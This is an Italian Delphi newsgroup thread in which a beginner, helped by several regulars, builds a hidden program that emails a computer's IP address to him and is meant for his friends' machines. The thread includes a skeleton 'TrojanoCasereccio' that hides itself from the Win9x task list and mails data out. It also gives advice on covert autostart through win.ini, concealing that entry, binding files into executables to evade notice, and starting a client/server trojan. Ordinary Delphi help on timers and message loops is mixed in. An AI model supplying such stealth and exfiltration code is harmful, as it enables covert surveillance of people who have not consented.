Newsgroup: it.comp.lang.delphi
Titolo: Programma fatto con le API- posso lo stesso usare dei componenti?

Salve, ho fatto un programmino, per ora in menira "normale" cioč sfruttando
la carattetristica RAD di delphi...perň l' avere un eseguibile di 300k
quando il mio programma č composto quasi esclusivamente da chiamate API non
mi va giů...il mio programma non dovrebbe manco avere una form, dovrebbe
fare tutto "dietro le quinte",perň il problema č che sfrutto due componenti
di delphi, uno č il nmsmtp1 e l' altro č InetDetector(preso su torry),ed io
i componenti li so usare soltanto in maniera 'visuale'...come faccio ad
usarli sfruttando le sole API di windows?
inoltre, ho letto nelle FAQ come si fa a far sparire un programma dall
tasklist, ma vorrei farlo sparire completamente, cioč sia dalla barra start
sia non facendolo vedere proprio ;)
per quanto riguarda la prima cosa penso ci sia un trucchetto,una chiamata
API che non so,mentre per la seconda, in maniera non visuale penso che basti
non creare la form,in maniera visuale se scrivo Form1.hide non ottengo il
risultato voluto ;)
un grazie a chi avrŕ la buona volontŕ di rispondermi :-)
spero di essere stato abbastanza chiaro...;)

 risultato voluto ;)
Per quanto tu ti possa cimentare a lavorare_solo_con le API di Windows, la
VCL non la bypassi, quindi puoi creare dinamicamente i tuoi controlli.
var MySMTPComponent: TNMSMTP;
begin
MySMTPComponent := TNMSMTP.Create(nil);
   with MySMTPComponent do begin
      Host := '
mail.libero.it
'
      ......
      SendMail;
   end;
end;
Anche se lavori con le WinAPI pure credo che tu sia obbligato a creare una
Form, altrimenti non vedo come il tuo Thread possa servire una message queue
e comunicare con le altre applicazioni/windows.
Ciao! :-)
--
- Carlo -
c.b...@libero.it

 ha scritto nel messaggio
news:rB%%6.20562$F85.6...@news.infostrada.it...


 cmq,devo riuscire ad eliminare anche la form!:D
Una ShowWindow dovrebbe essere sufficiente a nascondere la form, però
chiamarla prima dei vari eventi OnShow etc.. sarebbe stupido.
Potresti impostare coordinate negative per la Form (-1000,-1000) e subito
dopo i vari "eventi di inizializzazione" chiamare
ShowWindow(Form1.handle,SW_HIDE), in modo che la finestra non compaia
neppure per un'istante sullo schermo. Cmq avevo trovato una soluzione
migliore ... se la ritrovo te la faccio avere.


 ha scritto nel messaggio
news:_a307.1206$hp3....@news.infostrada.it...


 qualcuno ha dei consigli?:))))
Visto che, a quanto ho capito, il programma è molto semplice, potresti fare
così:
fai File->New Application  e Project->Remove from Project... Unit1 / Form1
...
così crei una applicazione senza GUI (e intanto abbiamo eliminato la form).
Ora fai Project->View Source... ecco... se hai lavorato un po' in TP/BP...
questo
ti ricorderà qualcosa  :)
Ad ogni modo, fai una cosa del tipo:
////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////
Program TrojanoCasereccio;
Uses  Windows,  NMSMTP;
{$R *.RES}
Function RegisterServiceProcess (dwProcessId, dwType : Cardinal) : Cardinal;
stdcall; external 'Kernel32.dll';
// per la documentazione ti rimando all'MSDN ... visto che ti piacciono le
API ;PPP
// cmq questa nasconde l'eseguibile dal taskmanager (NON di NTx!)
Procedure SendMailX ( MailServer, MailRecipient, MailSubject, MailBody :
string);
var SMTP : TNMSMTP;
Begin
  SMTP := TNMSMTP.Create (nil);
  try
//  SMTP bla bla bla (non conosco il componente ;)
  finally
    SMTP.Free;
  end;
End;
BEGIN
  RegisterServiceProcess (GetCurrentProcessId, 1);
  SendMailX ('
mail.libero.it
', '
ciccip...@ilmioserver.it
','IP Address',
'192.168.1.1');
END.
////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////
Su D5, questo viene un file di ... 308Kb :) ... come vedi, come già ti ha
scritto Carlo, non puoi
"liberarti" della VCL _se usi_ un suo componente!!
Le soluzioni per ridurre la dimensione sono almeno 2 :
1) Ti scrivi tu una UNIT per mandare le email ... oppure cerchi se c'è qlc
in inet (penso di sì)
2) Usi una utility di compressione degli eseguibili... ad esempio ASPPack.
Ciao!!! Davide DG
PS : Spero non ci siano errori... ho scritto un po' a memoria un po'
consultando la msdn :)

 migliore ... se la ritrovo te la faccio avere.
Dovrebbe essere Application.ShowMainForm a FALSE ...
Ma ... fatemi capire... è proprio necessario creare sta form ?! (vedi anche
l'altro mio post (21.08))
Ciao!! Davide DG.

 ha scritto nel messaggio
news:JE307.1469$hp3....@news.infostrada.it...

In pratica hai scritto il 99% di quello che sta scritto nel mio programma =)
mmmh vedrò un pò di pasticciare con i vari consigli che mi avete dato, certo
è che 300k li posso anche sopportare, ma di certo devo trovare un modo per
far scomparire la form, o meglio non farla proprio apparire(i miei
amici:scemi si,ma fino ad un certo punto :D)
domani proverò i vostri metodi e vi dirò!
nel frattempo vi ringrazio per stare perdendo tempo dietro un rompi come
me...ma che ci devo fare, sono curioso per natura, e prima o poi devo
impararlo sto Delphi :PP
poi farò una lista di tutte le persone che ho rotto fino ad ora per imparare
lo 0.01% delle potenzialità del delphi...
:-)

è specificamente pensato per quegli ignoranti dei miei amici :D
La semplice intrusione su una macchina, anche solo per leggere
informazioni e non danneggiare nulla, e' illegale.

 far scomparire la form, o meglio non farla proprio apparire
Guarda bene il sorgente che ti ho postato... così la form NON LA _CREI_
PROPRIO!! ;P
Il programma che ti ho mandato, almeno sotto W9x, gira in modo "silente" per
il Task Manager!!
Ciao, Davide DG.

"LongVehicle" <xx...@xxxxx.xxx> ha scritto nel messaggio
news:hbr1kt8983fg3ekcd...@4ax.com...

hehe lo so, ma finchè ci "attacchiamo" a vincenda fra amici...;)
x Davide: ora provo e ti dico!

Dunque, ho un bel problema, in quanto la mia applicazione deve
verificare(tramite InetDetector) ogni 10 secondi se il PC + connesso in rete
oppure no!
ebbene,non riesco ad usare il timer!!
ho aggiunto l' unit ExtCtrls che contiene il TTimer, l' ho creato,ma poi
come faccio a dirgli COSA deve fare quando chiama l' evento Timer.Ontimer?
se provo a scrivere la procedura
procedure Timer.Ontimer;
mi dà errore in quanto Timer è già stato dichiarato!
d' altra parte,se elimino il timer e faccio un
repeat
..
..
until ...
vado a rallentare in maniera incredibile la velocità di windows in quanto
tutte le risorse del processore se le succhia il mio programma con il ciclo
;)

 2) Usi una utility di compressione degli eseguibili... ad esempio ASPPack.
Url?


 l'altro mio post (21.08))
mmm ... vorrei capirlo anche io!
C'è chi dice di no, ma secondo me è necessaria, o perlomeno non ho mai visto
una application funzionare senza una finestra.
Se tu guardi la struttura di una applicazione Win32 "pura" noti che le
chiamate sempre presenti sono ben poche ... c'è una WindowProc(), c'è il
ciclo dei messaggi e_sempre_la chiamata a CreateWindow().
Se vuoi possiamo fare delle prove ... magari tiriamo su qualcosa. Puoi
evitare la Form se fai una applicazione "parassita" (indovina con che
tecnica?) e sfrutti il ciclo dei messaggi di altre applicazioni.
Tra le altre cose nelle FAQ c'è un codice di Calvert che traduce
un'applicazione Win32 pura
Bye bye! :-)


 anche se non di intuizione immediata.
Andrň a leggere,io cmq avevo pensato di provare a connettermi al server di
libero,clubnet,tiscali ecc fino a quando non si trova uno che non da
errore(errore xň che devo evitare di mostrare,cioč dovrei usare Try..except,
anche se non lo so usare bene...)


 ;)
Per utilizzare il Repeat .. Until dovresti contemporaneamente servire la tua
message queue (con Application.processmessages) in modo da non bloccare il
tuo thread.


 una application funzionare senza una finestra.
[...]
TApplication _ha_ una finestra (e ovv.te una WndProc).
E poi, un componente puo' aver bisogno di un TComponent come Owner =>
puo' essere sia TApplication sia un qlq erede di TComponent (
p.es
. un
TDataModule, molto piu' _leggero_ di un TForm). btw, per aggiungere una
WndProc ad un componente non serve moltissimo codice.
Riporto qui sotto un es. di applicazione formless che avevo postato su
libero.delphi (thread "Aiuto prg senza forms"). Il footprint e' cmq di
quell'ordine di grandezza se si usa Forms.
Saluti
Paolo Arosio
{ circa 285-308 K, 130 UPX-ato }
program Project1;
{.$DEFINE Allargati}
uses
  SysUtils,
  Windows,
  classes,
  forms,
  extctrls
  {$IFDEF Allargati},
  Dialogs
  {$ENDIF};
type
  TTimerHandler = class(TObject)
    procedure TH(Sender: TObject);
  end;
var aTH: TTimerHandler;
    aTimer: TTimer;
// --- inizio implementazione ----
procedure TTimerHandler.TH(Sender: TObject);
begin
  {$IFDEF Allargati}
  ShowMessage(TComponent(Sender).Name + #13#10'ha scoccato la tua ora');
  {$ELSE}
  Windows.MessageBox(0, PChar(TComponent(Sender).Name + #13#10'ha
scoccato la tua ora'),
    nil, MB_OK);
  {$ENDIF}
end;
procedure Init;
begin
  aTH := TTimerHandler.Create;
  aTimer := TTImer.Create(nil);
  aTimer.Name := 'SalveSonoUnTimer';
  aTimer.OnTimer := aTH.TH;
  aTimer.Interval := 5000;
  aTimer.Enabled := True;  // avvia timer
end;
procedure Finit;
begin
  aTimer.Enabled := False;
  aTimer.OnTimer := nil;
  aTimer.Free;
  aTH.Free;
end;
begin
  Application.Initialize;
  Application.Run;
  Init;
  try
    while True do begin
      Application.ProcessMessages;
      Sleep(5); // rilascia processore
    end;
  finally
    Finit;
  end;
end.

 tuo thread.
Bene,ora so anche come usare l' Ontimer senza la VCL :)
ho pensato pure io di mettere application.processmessages dentro ogni
ciclo,però dopo 5 secondi crascha il programma!invece, sotto consiglio di
{MSX}, ho messo sleep(5000) e tutto va bene :-)
Peccato che l' eseguibile è GRRROOOOSSSOOO...però penso che sia +
ottimizzato rispetto al programma che avevo fatto prima che usa le forms!
P.S. sono riuscito a creare( o meglio alla fine il programma me lo avete
fatto voi :D) un programma completamente stealth! COOL! :D:D:D
non ho le conoscenze necessarie, però ho voglia lo stesso di provare ad
avvicinarmi da un troian(un troian e una chat tra due persone tipo ICQ,sono
due cose molto simili giusto?soltanto che il troian esegue altri tipi di
comandi giusto?)...con che inizio?

mi dà errore in quanto Timer è già stato dichiarato!
Pero' non posti la procedura che hai creato....  :(
Devi aver sbagliato qualcosa nella sintassi:
procedure Qualcosa;
var
  MioTimer : TTimer;
begin
  MioTimer := tTimer.Create;
  MioTimer.OnTimer := MiaProcPerIlTimer;
  MioTimer.Enabled := True;
end;
procedure MiaProcperIlTimer(Sender: TObject);
begin
  FaiQualcosa
end;
Saluti
AS
-- 
Posted from 
ammi.mclink.it
 [195.110.128.1] 
via Mailgate.ORG Server - 
http://www.Mailgate.ORG

 tecnica?) e sfrutti il ciclo dei messaggi di altre applicazioni.
Umm.. forse ho posto male la domanda ... anzi quasi sicuramente.. !!
Intendevo :
"è proprio necessatio creare sta form *per Paolo Russo*"...
perchè è possibilissimo creare un'applicazione win32 "pura" senza utilizzare
TApplication (vedi anche l'altro post in risposta a P.Russo!!)
Program Project1;
Uses Windows;
Begin
  MessageBox (0, 'Hello World', 'Oh Hello World!!', MB_OK);
End.
Questo programma genera un eseguibile da 16Kb (tra l'altro senza neanche
l'icona di default... che non mi piace per nulla! ;P ).
Ciao!! Davide DG.
PS: Viva gli hook e Matt Pietreeeeekk!!! Non ci sono più frontiereeee ;PPP

 comandi giusto?)...con che inizio?
Oh mio dio, Carlo, su che strada _stiamo_ portando questo candido
programmatore ? ;PPPPPPP
Ciao!! Davide DG.

 Url?
http://www.aspack.com/
    :)
Ciao! Davide DG.


Emh hai ragione, è che non ho fatto proprio così, stupidamente ho tentato un
procedure Timer.OnTimer;
begin
ecc
ecc
end;
ma chiaramente mi ha dato errore il compilatore...cmq penso di aver capito
come fare nella maniera corretta,grazie dell' esempio :)
non l' ho applicato però xchè ho preferito non usare il timer,così ho
evitato di mettere l' unit exNONSOCHEALTRO
piuttosto,a quanto ho capito,la differenza fra un programma da 14k e uno da
300k è l' utilizzo della unit Forms giusto?beh ma nel mio programma la uso
per una semplice, stupidissima cosa, quindi se la tolgo dovrei guadagnare
286k di spazio!
xchè,provando a togliere  Forms dall' uses, mi da errore soltanto quando,
per far avviare il programma ad ogni avvio del computer, scrivo una stringa
nel registro ed uso
Application.Exename
che si trova dentro l' unit Forms...ci sta qualche componente(o meglio l'
unit corrispondente...)molto meno ingombrante dell' unit Forms,in grado di
darmi nome del programma + directory dove si trova?


 darmi nome del programma + directory dove si trova?
ParamStr (0)
o
Function GetApplicationExeName : String;
var pExeFileName : PCHAR;
Begin
  GetMem (pExeFileName, MAX_PATH+1);
  GetModuleFileName ( HInstance, pExeFileName, MAX_PATH);
  Result := pExeFileName;
  FreeMem (pExeFileName, MAX_PATH+1);
end;
... immagino preferirai la prima ;PP
Ciao!! Davide DG.

 ha scritto nel messaggio
news:SDm07.7267$hp3.3...@news.infostrada.it...


 quell'ordine di grandezza se si usa Forms.
[snip codice]
Ma una applicazione di questo tipo serve sempre e comunque un ciclo di
messaggi?
Il mio problema sta nel capire come fa una applicazione windowless a servire
una message queue se poi quei messaggi non possono avere un window-handle di
riferimento! Windows come comunica con la applicazione? Tu richiami
internamente al codice Application.Processmessages, il motivo per cui lo fai
è per evitare il blocco del thread, ma questo implica che ci sia una coda
dei messaggi.
Per queste operazioni forse il SO ricorre forse a PostThreadMessage()?
Posso anche accettare il funzionamento di questo genere di applicazioni, ma
conoscendo abbastanza il Win32 vorrei anche capire cosa c'è dietro.
Ciao! :-)


 {MSX}, ho messo sleep(5000) e tutto va bene :-)
Attento che la Sleep blocca il thread ...
Ola! :-)


 programmatore ? ;PPPPPPP
Caviamocela con la solita frase ...
"Le informazioni qui fornite hanno il solo scopo didattico e non ci si
assume nessuna responsabilità sull'utilizzo che il lettore ne farà" ... :-)
Dici che è sufficiente? :-P
Questa frase mi ha sempre fatto ridere, non pensavo di essere costretto ad
utilizzarla! :-)


 PS: Viva gli hook e Matt Pietreeeeekk!!! Non ci sono piů frontiereeee ;PPP
Hai ragione ... btw ho bisogno della call interna di OpenProcess() ...
Ciao! :-)


 utilizzarla! :-)
Ceeeerto,tutto a scopo didattico...:-) :-) :-) :-) ;-) :-D
Cmq, ho notato anche io che sleep paralizza il programma,cioè non passa il
controllo a windows come fa application.processmessages...RAGAAAZZI devo
riuscire a eliminare questo processmessages dal mio programma, per poter
eliminare l' unit Forms!!!
cmq mi dovete spiegare anche come aprire le porte sul PC e mandare messaggi
da interpretare ed eseguire...cioè come funziona un troian :D


 Per queste operazioni forse il SO ricorre forse a PostThreadMessage()?
Penso di sě... se guardi nella doc. di PeekMessage e/o di GetMessage, c'č,
nei
Remarks, una nota riguardo a :
"
PeekMessage retrieves only messages associated with the window identified
 by the hWnd parameter or any of its children as specified by the IsChild
function,
 and within the range of message values given by the wMsgFilterMin and
 wMsgFilterMax parameters
If hWnd is NULL, PeekMessage retrieves messages for any window that belongs
to the current thread making the call. (PeekMessage does not retrieve
messages for windows that belong to other threads.)
*** If hWnd is -1, PeekMessage only returns messages with a hWnd value of
NULL,
 as posted by the PostAppMessage function.***  --> che poi č
PostThreadMessage.
"
Ora che ci penso... questo potrebbe almeno in parte rispondere alla tua
domanda su
it.comp.programmare.win32 (mi pare...) :
  PostThreadMessage ( ID_Thread_Primario_del_Processo_da_terminare, WM_QUIT,
0,0);
effettivamente funziona con tutti i programmi Delphi che usano TApplication
(se guardi il codice di ProcessMessages capisci perchč sono sicuro) e anche
col
Norton Commander e col notepad (ho fatto delle prove al volo...)
Ciao!! Davide DG.

 eliminare l' unit Forms!!!
Era sufficiente dirlo ... guarda che codice simpatico ha scritto Peter Below
sui NG Borland:
Function ProcessMessages: Boolean;
Var
  Msg: TMsg;
Begin
  Result := False;
  While PeekMessage(Msg, 0, 0, 0, PM_REMOVE ) Do Begin
    If Msg.Message = WM_QUIT Then Begin
      Result:= True;
      PostQuitMessage( msg.wparam );
      Exit;
    End { If }
    Else If not IsDialogMessage( GetActiveWindow, Msg ) Then Begin
      TranslateMessage( Msg );
      DispatchMessage( Msg );
    End; { Else }
  End; { While }
End;
Eccoti il tuo ProcessMessages senza forms! :-)


 Eccoti il tuo ProcessMessages senza forms! :-)
Ummmm.... perň sbaglio o questo codice prevede che vi sia una finestra
creata dal thread?
se uso questa funzione cosě:
while true do begin
  processmessages;
  sleep (500);
end;
il taskmanager me la vede lo stesso come non responding... :(
Ho provato anche con un if processmessages then exit (dal prg.), ma stesso
risultato :(
Booo %)
Ciao! Davide DG.

 col Norton Commander e col notepad (ho fatto delle prove al volo...)
Si, è il modo con cui vengono terminate tutte le applicazioni. Penso che
spedire un PostThreadMessage() al thread creatore della finestra e spedire
PostMessage() alla finestra stessa produca lo stesso identico risultato.


 ha scritto nel messaggio
news:hYo07.810$K55....@news.infostrada.it...

Ehehe insieme a {MSX} tu e Davide DG in un giorno siete diventati miei Guru
ufficiali...non vi chiedo il vosto numero di ICQ xchè vi tartasserei di
domande :D
cmq, ho provato a fare un copia incolla della funzione che mi hai dato,vado
a compilare e mi dice :
Undeclared identifier: 'WM_QUIT'
essendo io uno dei + raffinati programmatori in delphi che si siano mai
visti, ho risolto(almeno per stasera,prob. domani mi darai una soluzione
anche x questo :D)temporaneamente eliminando
If Msg.Message = WM_QUIT Then Begin
      Result:= True;
      PostQuitMessage( msg.wparam );
      Exit;
    End { If }
    Else
sebbene non è lingua mia quella che si parla in questo codice, penso di aver
capito che questo riguarda il messaggio di uscita o una cosa del genere...ed
infatti eliminando questa parte mi compila correttamente la procedura
e...TADA', ecco il mio bel programma perfettamente funzionante e senza l'
unit Forms!
andiamo a vedere quant' è grosso l' eseguibile...emh è grosso lo stesso,
321k, ma sono soddisfatto cmq =)
ma quale unit dovrei levare per ottenere un file sotto i 50k?

 ma quale unit dovrei levare per ottenere un file sotto i 50k?
altra piccola cosa, non sapendo quali parametri dare in pasto al
InternetGetConnectedStatus,gli ho dato
  InternetGetConnectedState(nil,0);
e SEMBREREBBE andare bene,č cosě o non č cosě?

 ma quale unit dovrei levare per ottenere un file sotto i 50k?
Le unit Forms e Classes   (direttamente o indirettamente... se tu continui
ad usare
TNMSMTP (si scrive così?), _stai_ effettivamente utilizzando la VCL...
quindi il file
ingrassa ;-)
Ciao!! Davide DG

 automatica...qualche metodo un pò + nascosto non c'è?:)
Ciao (eheh... vedo che inizi a preoccuparto dei "particolari" ;PP),
Ci sono svariati metodi... c'è ad esempio questo : in win.ini,
[windows]
load=
run=
... ti lascio indovinare a cosa servano  ;P
Un altro sistema, magari associato a questo (molti utenti conoscono le entry
"run" del registro..), sarebbe di restare "in ascolto" per intercettare
eventuali
modifiche / letture al file win.ini, bloccandole (o camuffando il file
temporaneamente).
Questo però è relativamente difficile :
(
http://www.sysinternals.com/ntw2k/source/filemon.shtml
)
Ciao!! Davide DG
PS: vedi di non fare danni... mi associo al "disclaimer" di Carlo ;PPPP

 ha scritto nel messaggio
news:V_D07.5577$K55.1...@news.infostrada.it...


 riescono a legare a qualunque file .exe ....ma mi accontenterò :)
Che intendi "Legare a qualsiasi file exe"?
Vuoi dire che hai 2 file in uno? Beh, se intendi questo, ci sono un pacco di
utility che fanno questo lavoro, ResHack è una di queste.
btw: gli antivirus seri segnalano il File in file ...
Riconfermo il disclaimer! :-)


 risultato :(
Provo, se ottengo risultati ti fo sapere! :-)


 Riconfermo il disclaimer! :-)
Ragazzi, non vi fidate di me?!?!fate bene :)
naaa mi comporterò bene...e poi voi non centrate niente, E' TUTTO A SCOPO
INFORMATIVO!
se io mi devo difendere da degli attacchi di un troian, devo per prima cosa
sapere come funziona un troian, per poi neutralizzarlo!ECCO xchè voglio
programmare un troian :P:D
bene bene...lui il server e io il client...suppongo che devo fare due
applicazioni distinte e separate...allora, come funfa la cosa?:))
già sono curioso per natura...poi sento un certo prurito alle mani...:D:D


 già sono curioso per natura...poi sento un certo prurito alle mani...:D:D
Vedo che siamo passati dal "candido programmino" dell'IP al nuovo Sub7/BO2K
... :-p
Per stabilire la comunicazione tra due PC devi utilizzare le socket ...
dubito che nella Trial di D5 ci siano i componenti, cmq puoi scaricarti
gratuitamente i migliori componenti internet per Delphi:
1 - ICS (Internet Component Suite) del belga Françoise Piette (non ho
sottomano l'URL ma una ricerca su google ti ci porta subito)
2 - Indy (
www.nevrona.com/indy
) che sono già presenti in D6
Ciao! :-)


 Ciao! :-)
Ciao! :-)
però devo sapere come usarli! :-)
per non cadere in problemi, diciamo che vorrei che mi si spiegasse come fare
una CHAT, poi al resto ci penso io....:))
